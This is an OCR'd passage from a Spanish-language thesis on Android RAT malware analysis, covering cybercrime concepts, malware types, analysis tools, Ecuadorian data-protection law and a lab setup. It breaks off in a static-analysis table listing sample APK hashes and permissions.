de interrupciones en sus operaciones causadas por actividades maliciosas en la red. La
ciberseguridad se logra mediante la optimizacion de personas, procesos y tecnologias que

fortalecen las defensas digitales [21].

Los ciberataques pueden interrumpir, dafiar o destruir empresas, comunidades y vidas,
generando robos de identidad, extorsion, pérdida de datos confidenciales, interrupciones
operativas Yy la pérdida de clientes o negocios, e incluso el cierre de empresas. Por lo tanto,
la ciberseguridad es crucial. El impacto econdmico de estos ataques es creciente, y a medida
que los atacantes se vuelven més sofisticados, se estima que para 2025 la ciberdelincuencia

costara 10,5 billones de dolares anuales a nivel global [22].

2.3.2 CIBERCRIMINALIDAD

El cibercrimen es una actividad delictiva que involucra el uso de computadoras, redes
informaticas o dispositivos conectados, ya sea como objetivo 0 como medio para cometer el
delito. La mayoria de los ciberdelitos son cometidos por ciberdelincuentes o piratas
informaticos con el objetivo de obtener beneficios econdmicos, aunque en algunos casos el
objetivo es dafiar sistemas por motivos personales o politicos. Tanto individuos como
organizaciones pueden estar involucrados en el cibercrimen, con algunos delincuentes
altamente organizados y técnicamente capacitados y otros hackers con habilidades limitadas
[23].

La cibercriminalidad es un fenémeno complejo que va mas alla de las fronteras fisicas y el
entorno virtual y representa la convergencia entre la tecnologia, el crimen y la sociedad
actual. El robo de datos, las estafas en linea, el ciberespionaje y el sabotaje de infraestructuras
vitales son ejemplos de delitos cometidos a través de la tecnologia de la informacion. La
naturaleza transnacional de los ciberdelincuentes y su capacidad para evolucionar

rapidamente frente a las medidas de seguridad la hacen particularmente dificil de combatir,
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ya que aprovechan la anonimidad y el alcance global de Internet para actuar desde cualquier
lugar [24].
2.3.2.1 TIPOS DE CIBERCRIMINALES

> HACKER ETICOS
Aunque el término "hacker" con frecuencia se asocia con delitos informaticos,
también hay expertos en hacking ético, quienes conocen a fondo los ciberataques y
las técnicas utilizadas en ellos. Siempre con permiso previo, estos profesionales se
involucran en la seguridad de sistemas para identificar fallas y ayudar a corregirlas.
El hacking ético, también conocido como pirateria ética, implica realizar pruebas de
intrusién en los sistemas de una organizacion con el consentimiento de la
organizacion para descubrir vulnerabilidades que puedan ser solucionadas antes de
que los actores maliciosos puedan explotarlas [25].

» HACKER MALICIOSOS
Un ciberdelincuente malicioso es un ciberdelincuente que explota fallas de seguridad
0 escapa de las barreras de seguridad para acceder de manera no autorizada a
computadoras o redes con el fin de robar informacion. El hacking de este tipo tiene
intenciones perjudiciales y ha llevado a una amplia economia de cibercrimen, en la
que los delincuentes obtienen ganancias mediante el lanzamiento de ataques
cibernéticos, la venta de malware o el comercio de datos robados. En realidad, se
calcula que este mercado ilegal es de tal magnitud que ocupa el tercer lugar en tamafio
en todo el mundo, siendo solo superado por las economias de Estados Unidos y China.
[26]

» HACKTIVISTAS
Los hacktivistas son personas o grupos que utilizan ciberataques como una forma de
protesta con fines politicos, sociales o econémicos. Como medio de expresion de sus
causas, utilizan el hacktivismo para llevar a cabo acciones que alteran el
funcionamiento de sitios web o interrumpen la accesibilidad a servicios online. Los
organismos de ciberseguridad suelen distinguir entre protestas pacificas en linea,

como campafas informativas o recoleccion de firmas, y la intrusion no autorizada en

21



sistemas o sitios web, que es lo que caracteriza a las actividades hacktivistas, aunque
no hay una definicion universalmente aceptada. Estos movimientos pueden estar
motivados por una variedad de ideologias [27].

CRACKERS

Los crackers son figuras delictivas en el ambito tecnoldgico, conocidos por romper
sistemas de seguridad con fines maliciosos o de beneficio personal. A diferencia de
los hackers éticos, que operan dentro de la legalidad, los crackers actian de manera
clandestina, explotando vulnerabilidades para robar datos, distribuir malware o
extorsionar a individuos y organizaciones. Su falta de ética y sus acciones representan
una seria amenaza para la ciberseguridad global, poniendo en riesgo tanto la
integridad de los sistemas como la confianza de los usuarios en la tecnologia. Debido
a esto, la lucha contra los crackers es una prioridad constante para las empresas y
entidades de seguridad digital en todo el mundo [28].

PHISHERS

Los phishers son delincuentes cibernéticos que engafian a las personas enviando
correos electronicos falsos que parecen provenir de fuentes confiables, como bancos
0 empresas. Su objetivo es persuadir a los receptores para que revelen datos
confidenciales como contrasefias o datos financieros. Para evitar estos engafios,
escriba directamente la direccion de un sitio web en lugar de hacer clic en enlaces

sospechosos [29].

SPAMMERS

Los spammers son individuos o entidades que envian comunicaciones no solicitadas
de manera masiva, generalmente con fines publicitarios o promocionales. Aunque el
spam se asocia comunmente con correos electronicos no deseados, los spammers
también utilizan otros canales como mensajes instantaneos, SMS, redes sociales e
incluso mensajes de voz. Estas practicas, conocidas como "spamming,” son ilegales
en muchas jurisdicciones debido a su naturaleza invasiva y su impacto negativo en

los usuarios y las plataformas de comunicacion [30].
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» SCRIPT KIDDIES

Los aficionados a la ciberseguridad llamados Script Kiddies intentan realizar
ciberataques utilizando herramientas y scripts creados por hackers maés
experimentados sin tener mucho conocimiento. A menudo recurren a ataques de
denegacion de servicio (DoS) para desestabilizar sitios web o servicios en linea, ya
que su principal motivacion es ganar notoriedad o causar interrupciones. A pesar de
sus limitaciones, sus acciones todavia pueden causar dafios significativos en el mundo
digital [31].

» ESTAFADORES EN LINEA
Los delincuentes que utilizan dispositivos digitales y plataformas de internet para
llevar a cabo actividades fraudulentas se conocen como estafadores en linea. Estos
engafios pueden incluir una variedad de engafios, como phishing, suplantacion de
identidad o la venta de productos falsos o inexistentes. Aprovechan la confianza de
los usuarios en los servicios en linea para obtener beneficios personales, afectando a
millones de personas en todo el mundo. Es fundamental comprender los diferentes

tipos de estafas y como protegerse para evitar ser victima de ellas [32].

2.3.3 VULNERABILIDAD
Una infraccion de seguridad se refiere a un suceso que facilita el acceso no permitido a datos,

aplicaciones, redes o equipos de computacion, y generalmente sucede cuando un intruso
consigue eludir las medidas de seguridad establecidas. Esta circunstancia se diferencia de
una infraccién de datos, que ocurre cuando los ciberdelincuentes adquieren datos sensibles;
por ejemplo, una infraccion de seguridad podria equipararse a la intrusion en un inmueble,
mientras que una violacion de datos seria similar al hurto de una cartera o un ordenador
portéatil. La informacion sensible, frecuentemente vendida en la web oscura, posee un valor
considerable, y las infracciones de seguridad pueden generar un costo medio de casi 4

millones de dolares para las grandes compafiias [34].
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Por otro lado, una vulnerabilidad de seguridad se define como una falla o debilidad en la
estructura, funcionalidad o implementacion de una red o activo en red que los hackers pueden
explotar para realizar ciberataques, acceder sin autorizacion a sistemas o datos, o dafiar a una
organizacion. Ejemplos comunes incluyen configuraciones incorrectas en firewalls que
permiten la entrada de malware y errores no corregidos en el protocolo de escritorio remoto
que podrian facilitar el control de un dispositivo por parte de piratas informaticos. Dada la
alta distribucién de las redes empresariales y el descubrimiento constante de nuevas
vulnerabilidades, la gestion manual de estas resulta casi inviable, por lo que los equipos de
ciberseguridad a menudo recurren a soluciones automatizadas para la gestion de
vulnerabilidades [35].

2.3.4 AMENAZA INFORMATICA
Las amenazas digitales aluden a cualquier accién dafiina o potencialmente dafiina dirigida a

sistemas de computacién, redes o datos, y pueden surgir de diferentes fuentes, como hackers,
trabajadores insatisfechos o fallos involuntarios. Con el progreso tecnoldgico, estas amenazas
han experimentado una evolucién y se han vuelto mas complejas; por ejemplo, la inteligencia
artificial generativa y el Internet de las Cosas (10T) han generado nuevas posibilidades para
los ataques cibernéticos. Esto aumenta las amenazas a la ciberseguridad y subraya la
importancia de disponer de recursos de seguridad informatica totalmente fiables [36].

Las amenazas a los recursos de informacién en una entidad son maltiples, y identificarlas y
asignarles prioridad puede resultar complicado. De acuerdo con la norma ISO/IEC 27001,
una amenaza se define como un suceso que provoca un incidente, causando perjuicios
materiales o pérdidas intangibles en los recursos de informacion. INCIBE también
caracteriza la amenaza como toda accién que explote una vulnerabilidad y pone en riesgo la
seguridad del sistema. En conclusion, cualquier elemento que pueda impactar en el
funcionamiento principal de una organizacion debe ser visto como una amenaza, cuya
categorizacion se basara en la actividad principal del negocio y en un inventario minucioso
de activos [37].
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2.35 RIESGO TECNOLOGICO
El riesgo tecnoldgico alude a una diversidad de problemas que surgen del empleo de la

tecnologia, tales como averias de hardware, fallos en el software, obsolescencia y problemas
de compatibilidad. No todos estos peligros surgen de acciones malintencionadas; muchos de
ellos son resultado de fallos humanos, errores en los sistemas, 0 una ausencia de
mantenimiento y renovacion. Este peligro se enfoca en el efecto que los inconvenientes
técnicos pueden causar en la disponibilidad y desempefio de sistemas y servicios,
considerando elementos vitales como la continuidad de la empresa y la recuperacion de
desastres [38].

Es esencial la administracion de riesgos tecnolégicos para salvaguardar la innovacion y
garantizar la continuidad del negocio en la época digital. Esto conlleva reconocer de manera
proactiva amenazas tecnolOgicas, desde ataques cibernéticos hasta interrupciones de
sistemas, para reaccionar de manera eficaz. Ademas, es necesario desarrollar una solida
resiliencia ante las amenazas cibernéticas, facilitando una pronta recuperacion frente a
incidentes. La adopcién de tecnologias emergentes conlleva tanto oportunidades como
riesgos, por lo que numerosas compafiias de Latinoamérica intentan balancear dicha
adopcion con una correcta administracion de riesgos, garantizando que se encuentre en

sintonia con las metas empresariales [39].

2.3.6 ANDROID
Android es un sistema operativo creado originalmente para smartphones, parecido a iOS,

Symbian y Blackberry OS, y se caracteriza por su base en Linux, un ndcleo de codigo abierto,
libre y multiplataforma. Facilita la creacion de aplicaciones mediante una version de Java
denominada Dalvik, ofreciendo todas las interfaces requeridas para que los programadores
puedan utilizar las funciones del dispositivo, tales como el GPS, las llamadas y la agenda, de
forma facil usando un lenguaje de programacién ampliamente reconocido [37].
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Figura 3: Arguitectura del Sistema Operativo Android Fuente: [37]
2.3.7 CIBERATAQUES

Un ciberataque se refiere a cualquier esfuerzo intencional de robar, revelar, alterar, desactivar
o0 aniquilar datos, aplicaciones u otros recursos a traves del acceso no permitido a redes,
sistemas de computacién o dispositivos digitales. Los responsables de amenazas llevan a
cabo ciberataques por maltiples motivos, que oscilan entre hurtos menores hasta conflictos
bélicos, empleando estrategias como la infiltracion de malware, estafas de ingenieria social

y el hurto de credenciales para conseguir acceso a sus metas [38].

Un ciberataque es una accion llevada a cabo por ciberdelincuentes con el objetivo de
desactivar sistemas, sustraer datos o utilizar un sistema vulnerable a ataques futuros. El
incremento en la complejidad de estos ataques en afos recientes ha hecho que su prevencion
sea esencial para personas Yy organizaciones. El triunfo del cibercrimen se basa en el uso de
vulnerabilidades en los sistemas; mientras que los sistemas de seguridad deben resguardar

cada punto de acceso, los atacantes solo requieren explotar una debilidad concreta. Esta
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desigualdad favorece a los atacantes y reta incluso a grandes entidades a evitar el ingreso no

permitido a sus redes [42].

2.3.8 ¢QUE ES EL MALWARE?

El malware se refiere a programas maliciosos creados con la intencién deliberada de causar
dafio a dispositivos y sistemas informaticos, mientras que los errores de software son fallos
no intencionados que pueden ocasionar dafios. A menudo, hay confusién sobre la distincion
entre un virus y el malware en general. En realidad, el malware es un término amplio que
abarca diversas amenazas en linea, como virus, spyware, adware, ransomware Yy otros tipos
de software malicioso, mientras que un virus informatico es simplemente una de las muchas

formas de malware existentes [33].

El malware puede provocar dafios significativos al penetrar sistemas con contrasefias débiles,
propagarse por redes y interrumpir operaciones empresariales. Ademas de bloquear archivos
y enviar correos no deseados, el malware es responsable de ciberataques generalizados,
incluidos robos de identidad y fraudes. Los ataques de ransom

ware, por ejemplo, causan pérdidas millonarias y son perpetrados por hackers contra

usuarios, empresas y gobiernos [34].

2.3.8.1 TIPOS DE MALWARE
» PHISHING
El phishing ocurre a traves de correos electronicos, llamadas o mensajes de texto, en
los que los estafadores se hacen pasar por entidades legitimas para engafiar a las
personas enviando mensajes que parecen urgentes y auténticos para que compartan
informacidén confidencial como contrasefias 0 nimeros de tarjetas de crédito. Estos
ataques suelen dirigir a las victimas a sitios web falsos que parecen reales, donde se
les pide que ingresen informacion confidencial. Los estafadores pueden obtener
informacidn valiosa a través de una fachada bien elaborada y la presion para actuar
rapidamente, lo que deja a las victimas vulnerables al robo de identidad y pérdidas

financieras [35].
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» SPYWARE
El spyware se caracteriza por su invisibilidad, lo que lo convierte en una amenaza
importante, ya que mientras mas tiempo pasa sin ser detectado, mayor es el dafio que
puede causar al recopilar datos personales del usuario. A pesar de que se usa
principalmente con fines maliciosos, hay usos legitimos. Las empresas, por ejemplo,
pueden utilizar software de monitoreo para monitorear el uso de dispositivos por parte
de sus empleados, para proteger informacion confidencial o para controlar la
productividad. De manera similar, los controles parentales que limitan el uso del
dispositivo y bloquean contenido inapropiado también se consideran una forma de
spyware [36].

» ADWARE
El adware es un tipo de software malicioso que envia publicidad no deseada a la
computadora del usuario. No solo es invasivo, sino que también recopila datos
personales y registra los sitios web visitados para mostrar anuncios personalizados.
Los ciberdelincuentes obtienen ganancias cuando los usuarios hacen clic en anuncios
falsos y también pueden vender los datos de navegacion a terceros para obtener
ingresos adicionales, por lo que su objetivo principal es econémico [37].

» RANSOMWARE
El ransomware es un tipo de ciberataque en el que los delincuentes bloquean el acceso
a los datos o dispositivos de una victima hasta que se pague un rescate. Segun el IBM
Security X-Force Threat Intelligence Index 2023, en 2022, los ataques de ransomware
representaron el 17 % de todos los ciberataques. Originalmente, estos ataques
simplemente exigian un pago a cambio de una clave de cifrado, pero en los ultimos
afios han evolucionado hacia técnicas mas sofisticadas, como la doble extorsion, en
la que se amenaza con divulgar los datos robados, y la triple extorsion, que involucra

a los clientes o socios comerciales de la victima para aumentar la presion [38].

» TROYANOS
Un caballo de Troya, también conocido como troyano, es un tipo de malware que se

disfraza de software real para engafiar a los usuarios y lograr que se instale en sus
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sistemas. Los ciberdelincuentes utilizan troyanos para obtener acceso no autorizado
a los dispositivos y, con frecuencia, emplean técnicas de ingenieria social para
convencer a los usuarios de ejecutar el programa malicioso. El troyano, una vez que
se activa, permite a los atacantes espiar al usuario, robar datos confidenciales y abrir
una puerta trasera que permite el acceso continuo al sistema comprometido [39].
GUSANOS

Los gusanos informaticos son particularmente peligrosos porque pueden propagarse
por si mismos. A diferencia de los troyanos, que necesitan ser activados, pueden
expandirse rapidamente a través de una red una vez que infectan una maquina
anfitriona sin necesidad de intervencion del usuario. Estos gusanos se infiltran y
operan sin el conocimiento del usuario aprovechando las vulnerabilidades del sistema
operativo. Los hackers los crean con el fin de infiltrarse en el sistema objetivo y llevar
a cabo actividades maliciosas sin ser detectados [40].

VIRUS

Un tipo de malware llamado virus informaticos tiene una amplia gama de formas,
métodos de propagacion y efectos. Estos virus pertenecen a dos grupos: el primero
infecta y replica inmediatamente al ingresar en un sistema, mientras que el segundo
permanece inactivo hasta que el usuario ejecuta involuntariamente el codigo
malicioso, iniciando su comportamiento dafino [41].

KEYLOGGER

Un tipo de malware que registra y almacena todas las pulsaciones de teclas realizadas
en un dispositivo se conoce como keylogger. Se considera una forma de spyware
porque espia a los usuarios de forma encubierta. Es extremadamente invasivo
registrar todo lo que se escribe. Los registradores de teclas son de dos tipos: de
software, que es el tipo mas utilizado, y de hardware, que requiere acceso fisico al
dispositivo para funcionar [42].

BOTNETS

Un botnet es una red de computadoras comprometidas que los ciberdelincuentes
controlan para realizar fraudes y ataques cibernéticos. El término "botnet" proviene

de las palabras "robot" y "red". Estos dispositivos infectados, también conocidos
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como bots, tienen la capacidad de automatizar ataques masivos como el robo de datos,
la sobrecarga de servidores y la propagacién de malware sin el consentimiento del
propietario del dispositivo. La creacion de un botnet es normalmente solo la primera
etapa de un ataque cibernético mas complejo [43].

» MALWARE DE PUP
Un programa potencialmente no deseado, también conocido como PUP, es un tipo de
software que suele instalarse junto con otros programas descargados y no ofrece
ventajas evidentes para el usuario. Debido a que pueden actuar como adware 0
spyware, con frecuencia se consideran aplicaciones no deseadas, y en algunos casos
también se les conoce como PUA, o aplicaciones potencialmente no deseadas [44].

» MALWARE SIN ARCHIVOS
El malware sin archivos es un tipo de software malicioso que opera directamente
desde la memoria del sistema en lugar de almacenarse en el disco, lo que lo hace mas
dificil de detectar y eliminar. Debido a la complejidad que presenta para las
soluciones de seguridad, este tipo de malware ha ganado popularidad desde 2017. El
malware sin archivos se diferencia de las amenazas convencionales mediante el uso
de métodos sofisticados, como el almacenamiento de scripts maliciosos en Windows
Management Instrumentation (WMI) o su ejecucion directa en PowerShell. También
puede ejecutarse en la memoria o ocultarse en el registro del sistema operativo [45].

2.3.9 DETECCION DE MALWARE ESTATICO

La deteccion estatica de malware implica analizar el codigo o archivo malicioso sin
ejecutarlo, utilizando técnicas como la inspeccion del encabezado del archivo, los metadatos,
el hash, la firma o el contenido del cddigo. Este enfoque es rapido y eficaz para identificar
variantes de malware conocidas o similares. Sin embargo, puede ser facilmente eludido por
malware que emplea técnicas como cifrado, compresion, empaquetado o polimorfismo para
modificar su apariencia. Ademas, la deteccion estatica no proporciona informacion sobre el

comportamiento real del malware ni su impacto en el sistema o la red [46].
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2.3.10 DETECCION DE MALWARE DINAMICO

El anélisis dindmico del malware implica ejecutar el software malicioso en un entorno
controlado, como una maquina virtual, para observar su comportamiento en tiempo real. Este
enfoque proporciona una vision detallada de las acciones del malware, lo que permite
identificar técnicas de evasion y funcionalidades ocultas. Es esencial para comprender
completamente las capacidades del malware y desarrollar medidas efectivas de deteccion y
mitigacion.

2.3.11 RAT (REMOTE ACCESS TROJAN)

Las RAT, o troyanos de acceso remoto, fueron inicialmente concebidas con la loable
finalidad de simplificar la gestion de ajustes y aplicaciones a distancia, particularmente Utiles
para el personal de soporte técnico. Sin embargo, en manos de delincuentes cibernéticos,
estas herramientas se transforman en armas altamente destructivas. Al permitir la instalacion
de un troyano en tu dispositivo mavil, estds concediendo acceso remoto a un individuo
desconocido, equiparable a entregar las llaves de tu hogar a un extrafio, lo que puede tener
consecuencias devastadoras para la seguridad y privacidad de tus datos personales y

empresariales [47].

24 HERRAMIENTAS

MobSof: Es una herramienta de analisis de aplicaciones méviles que permite examinar y
evaluar la seguridad de aplicaciones para dispositivos méviles. MobSof puede utilizarse para
identificar vulnerabilidades, analizar el comportamiento de las aplicaciones y detectar

posibles amenazas de seguridad [48].

Android Studio: Es un entorno de desarrollo integrado (IDE) oficial para el desarrollo de
aplicaciones Android. Proporciona herramientas avanzadas para la creacién, depuracién y
optimizacion de aplicaciones moviles para la plataforma Android. Android Studio incluye un
editor de codigo, herramientas de disefio de interfaz de usuario, emuladores de dispositivos
Android y muchas otras caracteristicas Utiles para desarrolladores de aplicaciones maéviles
[49].

BlueStacks: Es un emulador de Android que permite ejecutar aplicaciones y juegos Android

en computadoras con sistemas operativos Windows y macOS. BlueStacks proporciona una
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experiencia similar a la de un dispositivo Android real, lo que permite a los usuarios probar

y utilizar aplicaciones moviles en sus computadoras personales [50].

Cuckoo: Es un sistema de analisis de malware automatizado que permite ejecutar archivos
sospechosos en un entorno controlado y monitorear su comportamiento para detectar
actividades maliciosas. Cuckoo es ampliamente utilizado en la industria de la seguridad

cibernética para analizar y clasificar muestras de malware [51].

Drozer: Es una herramienta de pruebas de penetracion para dispositivos Android que permite
identificar y explotar vulnerabilidades de seguridad en aplicaciones y sistemas operativos
Android. Drozer proporciona una serie de médulos y funciones que facilitan la evaluacién

de la seguridad de dispositivos Android y la realizacion de pruebas de penetracion [52].

Rennux: Es una distribucién de Linux disefiada especificamente para pruebas de penetracion
y andlisis forense. Rennux incluye una amplia gama de herramientas de seguridad cibernética
y analisis forense que permiten a los profesionales de la seguridad realizar evaluaciones

exhaustivas de la seguridad de sistemas y redes [53].

2.5 MARCO LEGAL
CODIGO ORGANICO INTEGRAL PENAL

El cddigo Organizo Integral Penal(COIP) manifiesta su creacion con el objetivo de imponer
la necesidad de unificar en un solo texto la legislacion de caracter punitivo, con el afan de

dispersar una seguridad juridica en el ordenamiento juridico ecuatoriano.
CAPITULO TERCERO - MEDIOS DE PRUEBA

El Art. 500.- Contenido digital. [54] Es todo acto informéatico que representa hechos,
informacién o conceptos de la realidad, almacenados, procesados o transmitidos por
cualquier medio tecnoldgico que se preste a tratamiento informatico, incluidos los programas
disefiados para un equipo tecnoldgico aislado, interconectado o relacionados entre si. En la

investigacion se seguiran las siguientes reglas.

LEY DEL SISTEMA NACIONAL DE REGISTRO DE DATOS PUBLICOS
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La ley del Sistema Nacional de Registro de Datos Publicos tiene como afan de ley garantizar
la seguridad juridica, organizar, regular, sistematizar e interconectar la informacion, como
asi mismo, la eficacia y eficiencia en el manejo, su publicidad, transparencia, acceso e

implementaciones de nuevos enfoques tecnoldgicos [55].
CAPITULO HI
NORMAS GENERALES APLICADAS A LOS REGISTROS PUBLICOS

El Art. 12.- Medios Tecnoldgicos. El Estado [56] a través del ministerio sectorial con
competencia en las telecomunicaciones y en la sociedad de la informacién, definird las
politicas y principios para la organizacion y coordinacion de las acciones de intercambio de
informacion y de bases de datos entre los organismos e instancias de registro de datos
publicos, cuya ejecucién y seguimiento estard a cargo de la Direccion Nacional de Registro
de Datos Publicos. La actividad de registro se desarrollara utilizando medios tecnologicos
normados y estandarizados, de conformidad con las politicas emanadas por el ministerio

sectorial de las telecomunicaciones y de la sociedad de la Informacion.
LEY DE PROTECCION DE DATOS PERSONALES

La ley de proteccion de datos personales, es conocido como una norma juridica que tiene
como objetivo garantizar y proteger el tratamiento de datos personales, libertades publicas y
derechos fundamentales de las personas fisicas, especialmente en su honor e intimidad

personal y familiar [57].
CAPITULO 1: AMBITO DE APLICACION INTEGRAL

Art 1.- Objetivo y finalidad: Establece que el proposito de la ley es asegurar el derecho a
la proteccion de los datos personales, lo que incluye el acceso, control y resguardo de dicha
informacion. Para ello, regula y desarrolla principios, derechos, obligaciones y mecanismos

de proteccion adecuados [57].

Art 5.- Integrantes del sistema de proteccién de datos personales: Se define que los
integrantes del sistema de proteccion de datos personales son: el titular, el responsable del
tratamiento, el encargado del tratamiento, el destinatario, la autoridad de proteccion de datos

y el delegado de proteccion de datos personales [57].
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Art 25.- Categorias especiales de datos personales: Clasifica como categorias especiales
de datos personales a los datos sensibles, los datos de menores de edad, los datos relacionados
con la salud y los de personas con discapacidad o sus representantes, en relacién con dicha

condicion [57].

Art 37.- Seguridad de datos personales: Sefiala que quienes gestionen o procesen datos
personales deberdn adherirse al principio de seguridad de los mismos, tomando en cuenta
factores como el tipo y cantidad de datos, el estado de la tecnologia, las mejores practicas de

seguridad y los costos de implementacion, evaluando los riesgos posibles [57].

Art 38.- Medidas de seguridad en el ambito del sector publico: El sistema de proteccion
de la informacion establecido por el gobierno debe contener las acciones requeridas para
administrar el manejo de la informacion personal, con el objetivo de lidiar con cualquier
peligro, amenaza, vulnerabilidad, accesos no permitidos, pérdidas, alteraciones, aniquilacion
o divulgacién accidental o ilicita de los datos, en conformidad con el principio de seguridad

de la informacidn personal [57].
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CAPIUTLO I

3 PROPUESTA
3.1.1 DESARROLLO
3.111 FASE I: CONFIGURACIOB DEL LABORATORIO VIRTUAL

Para el proyecto de analisis de malware de tipo RAT en plataformas Android, se empleara
una maquina virtual denominada “Prueba Hacking”, que utiliza una distribucion de Linux
optimizada para este tipo de actividades. Esta configuracion permitira realizar tanto analisis
estatico como dinamico del malware en un entorno controlado y seguro, garantizando una

experiencia coherente y comprender el arte que emana todo lo referente de malware.

La instalacion del laboratorio comprende en la configuracion de una maquina virtual
correspondiente a la versién Linux accesible para emplear una imagen iso de Ubuntu y
establecer la configuracion pertinente para la creacion del entorno donde se desarrolla la
instalacion de las herramientas y descargas de malware como pruebas de seguridad. Una vez
creado la maquina virtual se procede a instalar la herramienta MobSf a través del repositorio
Github, se elabora la clonacion de la herramienta y se instala los requerimientos necesarios
de los archivos de instalacion y se eleva el servicio a traves del navegador para preparar el

analisis de malware. (Ver Anexo Ill: Entorno Mobsf— Estatico)

La instalacion del laboratorio Drozer implica la configuracion pertinente de Python version
2.7.18 para efectuar la instalacion de librerias necesarias para la interaccion desde el
computador y dispositivo mdviles con la finalidad de ejercer la evaluacion dinamica o
analisis de aplicaciones Android, como a su vez la instalacién de herramienta como ADB &
fastboots para la escucha y movimientos de acciones en tiempo real en el sistema operativo
Android con la finalidad de encontrar brechas, comportamiento de las apk mediante una

analisis dinamico (\VVer Anexo Ill: Entorno Drozer — Dinamico).
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3.1.1.2 FASE II: ELECCION DE LA MUESTRA

En la presente fase corresponde en la exploracion de las técnicas estatica y dindmicas para el
analisis de Malware permitiendo emplear parametros de agrupacion de clasificacion como es
el vector de ataque, sistemas en peligro, entre otros. Ademaés, también cuenta con la
categorizacion de los Malware’s mas comunes en dispositivo moviles y elaborar una

categorizacion de su Origen RAT, y conocer al fondo sobre su arte.

A continuacion, se presenta un cuadro correspondiente de las técnicas estaticas y dindmicas,

como a su vez el cuadro de los Malware”s para su arte en el area informatica

CUADRO DESCRIPTIVO DE TECNICAS ESTATICAS PARA MALWARE

ANALISIS ESTATICO

TECNICA VECTOR SISTEMAS | VULNERABILIDADES NIVEL DE
DE EN A PROVOCAR CRITICIDAD
ATAQUE PELIGRO
Desensamblado | Archivos Sistemas Ejecucion de codigo Alta
ejecutables operativos, malicioso
aplicaciones
Ingenieria Cadigos Sistemas Identificacion de Alta
Inversa fuente, operativos, funciones vulnerables
binarios aplicaciones
Hashing Archivos Sistemas de | Evasion de deteccion por | Media
ejecutables archivo, firma
antivirus
Firmas YARA | Archivos Sistemas Modificacion de archivos | Media
ejecutables, operativos, para evasion
documentos aplicaciones
Analisis de Archivos Sistemas Ejecucion de codigo en Media
Dependencias ejecutables, operativos, bibliotecas compartidas
bibliotecas aplicaciones
dindmicas
Analisis de Archivos Sistemas Revelacion de informacion | Baja
Strings ejecutables, operativos, sensible
documentos aplicaciones

Tabla 1: Cuadro descriptivo de técnicas de Anélisis Estatico para Malware
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CUADRO DESCRIPTIVO DE TECNICAS DINAMICAS PARA MALWARE

TECNICA VECTORDE | SISTEMAS | VULNERABILIDADES | NIVEL DE
ATAQUE EN A PROVOCAR CRITICIDAD
PELIGRO
Sandboxing Archivos Entornos Ejecucion de comandos Alta
gjecutables, virtuales, maliciosos
scripts maquinas
o fisicas
Q Monitorizacién de | Tréfico de red, | Infraestructura | Exfiltracion de datos, Alta
E Red comunicaciones | de red, ataques DDoS
< servidores
2 Debugging Archivos Sistemas Modificacion de flujo de | Media
g ejecutables operativos, gjecucion
- aplicaciones
< Emulacion Archivos Entornos Analisis sin afectar el Media
ejecutables virtuales entorno real
Analisis de Archivos Sistemas Actividades maliciosas en | Alta
Comportamiento | ejecutables, operativos, tiempo real
scripts aplicaciones
Monitorizaciéon de | Actividad del Sistemas Modificacién de Alta
Sistema sistema, operativos, registros, archivos
llamadas API aplicaciones
Tabla 2: Cuadro descriptivo de técnicas dinamica de analisis para Malware
CUADRO DESCRIPTIVO DE MALWARE MAS COMUNES EN S.O ANDROID
MOVIL
TIPO DE METODO DE SINTOMAS | IMPACTO | VULNERABILIDADES NIVEL DE
MALWARE | PROPAGACION EXPLOTADAS CRITICIDAD
Troyano Aplicaciones Reduccién de Robo de Permisos excesivos, Alta
(Trojan) falsas, descargas rendimiento, datos, aplicaciones de terceros
aplicaciones control
desconocidas remoto
Spyware Aplicaciones Consumo de Robo de Acceso a datos Alta
disfrazadas, bateria, uso de | informacion | personales, camaras,
enlaces maliciosos | datos personal y micréfono
financiera
Adware Aplicaciones Anuncios Reduccion Permisos de publicidad, Media
gratuitas, anuncios | intrusivos, de aplicaciones gratuitas
redireccion de | rendimiento,
navegador molestias al
usuario
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Ransomware | Aplicaciones Bloqueo de Pérdida de | Vulnerabilidades de Alta
fraudulentas, pantalla, acceso a seguridad, descargas no
correos mensajes de datos, seguras
electronicos rescate demanda de
pago
Rootkit Aplicaciones Dificil de Control total | Escalada de privilegios, Alta
maliciosas, scripts | detectar, del vulnerabilidades del
alteracion de dispositivo, | sistema
configuraciones | ocultacién
del sistema de
actividades
Keylogger Aplicaciones de Registro de Robo de Acceso a la entrada de Alta
teclado, enlaces teclas, contrasefias, | teclado, permisos de
maliciosos ralentizacion informacién | aplicaciones
confidencial
Botnet Aplicaciones Ralentizaciéon, | Control Vulnerabilidades de red, | Alta
maliciosas, consumo de remoto del | escalada de privilegios
exploits datos dispositivo,
ataques
DDoS
Worm Mensajes de texto, | Reduccién de Consumo de | Explotacién de Media
(Gusano) enlaces maliciosos | rendimiento, recursos, vulnerabilidades de red,
propagacion propagacion | aplicaciones de
automatica a otros mensajeria
dispositivos
Phishing Enlaces Solicitudes de | Robo de Ingenieria social, enlaces | Alta
maliciosos, informacion identidad, maliciosos
correos personal fraude
electronicos financiero
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3.1.1.3 FASE I1I: ANALISIS DE MALWARE

El cuadro muestra un analisis estatico detallado de tres aplicaciones Android (prueba.apk, magis-video.apk y AndroidKeylogger.apk),
destacando aspectos clave relacionados con la seguridad, permisos, componentes exportados, configuraciones de SDK y vulnerabilidades
detectadas. Este analisis proporciona una vision general de las caracteristicas técnicas y riesgos asociados con cada aplicacion, lo que es

fundamental para evaluar su comportamiento y posibles impactos en la seguridad del dispositivo.

CUADRO DESCRIPTIVO DE TECNIA ESTATICO SOBRE MALWARE RAT ESTUDIO

ASPECTO TECNICO prueba.apk magis-video.apk AndroidKeylogger.apk
HASH MD5 f38bf1f6fa356fc849d4ee67c4790ac | 2227d9653b5591b275991ed8aa08939 | cc6fd60chlc9d65bdd3d5falcc3d242
3 7 e
PUNTUACION DE 49/100 48/100 33/100
SEGURIDAD
PERMISOS Acceso a geolocalizacion, llamadas, | Obtener tareas, leer/modificar Acceso a red e Internet
PELIGROSOS camara, contactos almacenamiento externo, instalar
paquetes adicionales
PERMISOS ACCESS_FINE_LOCATION, GET_TASKS, ACCESS_NETWORK_STATE,
ABUSIVOS CALL _PHONE, CAMERA, READ EXTERNAL STORAGE, INTERNET
READ CONTACTS WRITE_EXTERNAL_STORAGE,
REQUEST INSTALL_PACKAGES
COMPONENTES Actividad: .MainActivity Actividades: 89 (1 exportada) Actividad: .MainActivity
EXPORTADOS Servicio: .MainService Servicios: 25 (0 exportados) Servicio: .Keylogger (1 exportado)
Receptor: .MainBroadcastReceiver | Receptores: 8 (1 exportado)
